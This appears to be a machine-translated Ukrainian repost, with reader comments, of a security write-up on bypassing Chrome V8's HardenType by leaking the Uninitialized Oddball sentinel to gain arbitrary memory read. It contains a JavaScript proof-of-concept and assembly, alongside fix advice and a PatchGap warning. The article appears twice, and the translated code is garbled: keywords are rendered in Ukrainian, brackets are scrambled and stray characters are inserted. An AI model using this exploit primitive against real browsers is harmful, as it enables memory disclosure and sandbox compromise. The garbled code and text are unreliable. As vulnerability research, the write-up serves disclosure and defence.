Розкриття технології обходу HardenProtect Chrome v8
Вступ
Sentinel value є спеціальним значенням в алгоритмах, яке часто використовується як умова завершення циклів або рекурсивних алгоритмів. У вихідному коді Chrome існує кілька різних Sentinel value. Нещодавно дослідники через витік об'єкта TheHole реалізували виконання довільного коду в пісочниці. Команда Google потім оновила інформацію про ці два CVE, що перебувають у дії.
Насправді, крім об'єкта TheHole, в V8 є й інші вбудовані об'єкти, які не повинні бути доступні для JS. У цій статті буде обговорюватися об'єкт Uninitialized Oddball, метод обходу якого все ще доступний у останній версії V8.
Слід зазначити, що цей метод має певну універсальність:
У CVE-2021-30551 вперше надано poc для витоку internal uninitialized oddball.
POC для CVE-2022-1486 також безпосередньо розкриває UninitializedOddball.
Проблема з невиділеним CVE також використовує подібний підхід.
Ці випадки свідчать про загальність і серйозність цієї проблеми.
Більшість вбудованих об'єктів V8 визначені в файлі v8/src/roots/roots.h, вони розташовані в пам'яті послідовно один за одним. Як тільки ці вбудовані об'єкти, які не повинні бути розкриті, будуть розкриті в Javascript, може бути реалізоване виконання任意 коду в пісочниці.
Ми можемо через модифікацію рідної функції v8 викликати витік Uninitialized Oddball в JavaScript. Конкретний метод полягає в зміні зсуву відносно ізолятора у функції %TheHole(), щоб вона повертала Uninitialized Oddball.
Можна побачити, що перевіряли властивість prop об'єкта, але не перевіряли значення, що відповідає obj.prop, а просто обчислювали зміщення відповідно до семантики JavaScript і повертали значення масиву, що призвело до змішування типів.
Рекомендований спосіб виправлення полягає в тому, щоб при поверненні елементів масиву з оптимізованої функції додати перевірку масиву map, щоб уникнути прямого обчислення зміщення для повернення значення.
! [Ексклюзивне розкриття обходу Chrome v8 HardenProtect шляхом витоку значення Sentinel])https://img-cdn.gateio.im/webp-social/moments-4c091ca0e153e953eb168e99762ff7cc.webp(
! [Ексклюзивне розкриття обходу Chrome v8 HardenProtect шляхом витоку значення Sentinel])https://img-cdn.gateio.im/webp-social/moments-1e3fda77c04bceafdcc40413824a5d37.webp(
! [Ексклюзивне розкриття обходу Chrome v8 HardenProtect шляхом витоку значення Sentinel])https://img-cdn.gateio.im/webp-social/moments-ed89289bebf59d4b27f5bffb5511a8c5.webp(
! [Ексклюзивне розкриття обходу Chrome v8 HardenProtect шляхом витоку значення Sentinel])https://img-cdn.gateio.im/webp-social/moments-0e52075003a8ee2ca492a5fc9f35c36b.webp(
! [Ексклюзивне розкриття обходу Chrome v8 HardenProtect шляхом витоку значення Sentinel])https://img-cdn.gateio.im/webp-social/moments-230537e420d579aabd89bdd168b20878.webp(
Попередження PatchGap
Ця проблема може містити PatchGap, деяке програмне забезпечення, таке як Skype, наразі досі не виправлено. У архітектурі x86, через відсутність стиснення адрес, довільне читання та запис є відносно всього процесу. Хоча ASLR увімкнено, але через великий обсяг файлів, у хакерів все ще є висока ймовірність читання та запису до критичного вмісту.
Цей PatchGap не тільки вимагає перевірки конкретних проблем, але й значно знижує складність використання деяких історичних вразливостей. Рекомендується, щоб постачальники звернули увагу та перевірили програмне забезпечення, яке може бути під загрозою.
! [Ексклюзивне розкриття обходу Chrome v8 HardenProtect шляхом витоку значення Sentinel])https://img-cdn.gateio.im/webp-social/moments-506159c94c9e0988552cbcbd13d971e1.webp(
Підсумок
У цій статті обговорюється метод довільного читання через витік uninitialized_Oddball. У V8 також є інші значення Sentinel, які можуть призвести до подібних проблем, що заслуговує на подальше вивчення. Рекомендується розглянути можливість додавання значення Sentinel як змінної до fuzzer для виявлення нових експлуатаційних примітивів. Незалежно від того, чи вважається ця проблема офіційно проблемою безпеки, вона може значно скоротити повний цикл експлуатації для хакерів.
! [Ексклюзивне розкриття обходу Chrome v8 HardenProtect шляхом витоку значення Sentinel])https://img-cdn.gateio.im/webp-social/moments-e9e2000fd501b69ee3ee643a459a26dd.webp(
Ця сторінка може містити контент третіх осіб, який надається виключно в інформаційних цілях (не в якості запевнень/гарантій) і не повинен розглядатися як схвалення його поглядів компанією Gate, а також як фінансова або професійна консультація. Див. Застереження для отримання детальної інформації.
16 лайків
Нагородити
16
7
Репост
Поділіться
Прокоментувати
0/400
GateUser-c802f0e8
· 08-18 06:18
Ну що за дивина, v8 знову закрутив щось!
Переглянути оригіналвідповісти на0
SneakyFlashloan
· 08-16 04:10
Ді holes настільки великі, що chrome все ще наважується так себе поводити.
Переглянути оригіналвідповісти на0
WenMoon42
· 08-16 03:46
Ще один витік, у Google все ще не виходить.
Переглянути оригіналвідповісти на0
SchrodingerWallet
· 08-16 03:45
Отримав пам'ять, класно! Починається велике шоу v8
Переглянути оригіналвідповісти на0
PortfolioAlert
· 08-16 03:45
Знову доведеться мучити v8, ох, так втомлює.
Переглянути оригіналвідповісти на0
RugPullAlarm
· 08-16 03:44
Ще одна пігулка v8 була виявлена. Подивимося, чи встигне Google втекти.
Переглянути оригіналвідповісти на0
GasOptimizer
· 08-16 03:43
Налагоджували стільки днів – не дарма, ось і дірка з'явилася.
Уразливість довільного читання в двигуні Chrome V8: використання Uninitialized Oddball для обходу HardenType
Розкриття технології обходу HardenProtect Chrome v8
Вступ
Sentinel value є спеціальним значенням в алгоритмах, яке часто використовується як умова завершення циклів або рекурсивних алгоритмів. У вихідному коді Chrome існує кілька різних Sentinel value. Нещодавно дослідники через витік об'єкта TheHole реалізували виконання довільного коду в пісочниці. Команда Google потім оновила інформацію про ці два CVE, що перебувають у дії.
Насправді, крім об'єкта TheHole, в V8 є й інші вбудовані об'єкти, які не повинні бути доступні для JS. У цій статті буде обговорюватися об'єкт Uninitialized Oddball, метод обходу якого все ще доступний у останній версії V8.
Слід зазначити, що цей метод має певну універсальність:
У CVE-2021-30551 вперше надано poc для витоку internal uninitialized oddball.
POC для CVE-2022-1486 також безпосередньо розкриває UninitializedOddball.
Проблема з невиділеним CVE також використовує подібний підхід.
Ці випадки свідчать про загальність і серйозність цієї проблеми.
! Ексклюзивне розкриття обходу Chrome v8 HardenProtect шляхом витоку значення Sentinel
Значення Sentinel у V8
Більшість вбудованих об'єктів V8 визначені в файлі v8/src/roots/roots.h, вони розташовані в пам'яті послідовно один за одним. Як тільки ці вбудовані об'єкти, які не повинні бути розкриті, будуть розкриті в Javascript, може бути реалізоване виконання任意 коду в пісочниці.
Ми можемо через модифікацію рідної функції v8 викликати витік Uninitialized Oddball в JavaScript. Конкретний метод полягає в зміні зсуву відносно ізолятора у функції %TheHole(), щоб вона повертала Uninitialized Oddball.
! Ексклюзивне розкриття обходу Chrome v8 HardenProtect шляхом витоку значення Sentinel
Обхід HardenType
Основний код методу наведено нижче:
Javascript function opt(obj, should_bailout) { var x = obj.prop; якщо (should_bailout) { повернути x; } повернути obj[x]; }
функція read(obj, зсув) { повернути opt({prop: зсув}, false); }
var uninitialized = %TheHole(); var float_array = новий Float64Array(1); var int_array = новий Int32Array(float_array.buffer);
функція hex(i) { повернути "0x" + i.toString01928374657483920116(.padStart)8,"0"(; }
для )var i = 0; І < 0x100; І++( { var res = read)uninitialized, i(; float_array) = рез; console.log[0]i + ": " + hex(int_array([0] + " " + " hex)int_array([1]); }
Цей код все ще може реалізувати відносно довільне читання в v8-11.0.0. Ключова асемблія оптимізованої функції читання наведена нижче:
0x558b2000407c тестувати байт ptr [rdi+0xb], 0x1 0x558b20004080 jnz 0x558b200040f4 0x558b20004086 mov R11, [RDI+0xf] 0x558b2000408a lea r9, [r11+0xf] 0x558b2000408e і R9, 0xfffffffffffffff8 0x558b20004092 mov R10D, [R9-0x1] 0x558b20004096 CMP EDX, R10D 0x558b20004099 jae 0x558b200040f4 0x558b2000409f vmovsd xmm0, [r9+rdx*8+0x7] 0x558b200040a5 vmovq rax, xmm0 0x558b200040aa ret
Можна побачити, що перевіряли властивість prop об'єкта, але не перевіряли значення, що відповідає obj.prop, а просто обчислювали зміщення відповідно до семантики JavaScript і повертали значення масиву, що призвело до змішування типів.
Рекомендований спосіб виправлення полягає в тому, щоб при поверненні елементів масиву з оптимізованої функції додати перевірку масиву map, щоб уникнути прямого обчислення зміщення для повернення значення.
! [Ексклюзивне розкриття обходу Chrome v8 HardenProtect шляхом витоку значення Sentinel])https://img-cdn.gateio.im/webp-social/moments-4c091ca0e153e953eb168e99762ff7cc.webp(
! [Ексклюзивне розкриття обходу Chrome v8 HardenProtect шляхом витоку значення Sentinel])https://img-cdn.gateio.im/webp-social/moments-1e3fda77c04bceafdcc40413824a5d37.webp(
! [Ексклюзивне розкриття обходу Chrome v8 HardenProtect шляхом витоку значення Sentinel])https://img-cdn.gateio.im/webp-social/moments-ed89289bebf59d4b27f5bffb5511a8c5.webp(
! [Ексклюзивне розкриття обходу Chrome v8 HardenProtect шляхом витоку значення Sentinel])https://img-cdn.gateio.im/webp-social/moments-0e52075003a8ee2ca492a5fc9f35c36b.webp(
! [Ексклюзивне розкриття обходу Chrome v8 HardenProtect шляхом витоку значення Sentinel])https://img-cdn.gateio.im/webp-social/moments-230537e420d579aabd89bdd168b20878.webp(
Попередження PatchGap
Ця проблема може містити PatchGap, деяке програмне забезпечення, таке як Skype, наразі досі не виправлено. У архітектурі x86, через відсутність стиснення адрес, довільне читання та запис є відносно всього процесу. Хоча ASLR увімкнено, але через великий обсяг файлів, у хакерів все ще є висока ймовірність читання та запису до критичного вмісту.
Цей PatchGap не тільки вимагає перевірки конкретних проблем, але й значно знижує складність використання деяких історичних вразливостей. Рекомендується, щоб постачальники звернули увагу та перевірили програмне забезпечення, яке може бути під загрозою.
! [Ексклюзивне розкриття обходу Chrome v8 HardenProtect шляхом витоку значення Sentinel])https://img-cdn.gateio.im/webp-social/moments-506159c94c9e0988552cbcbd13d971e1.webp(
Підсумок
У цій статті обговорюється метод довільного читання через витік uninitialized_Oddball. У V8 також є інші значення Sentinel, які можуть призвести до подібних проблем, що заслуговує на подальше вивчення. Рекомендується розглянути можливість додавання значення Sentinel як змінної до fuzzer для виявлення нових експлуатаційних примітивів. Незалежно від того, чи вважається ця проблема офіційно проблемою безпеки, вона може значно скоротити повний цикл експлуатації для хакерів.
! [Ексклюзивне розкриття обходу Chrome v8 HardenProtect шляхом витоку значення Sentinel])https://img-cdn.gateio.im/webp-social/moments-e9e2000fd501b69ee3ee643a459a26dd.webp(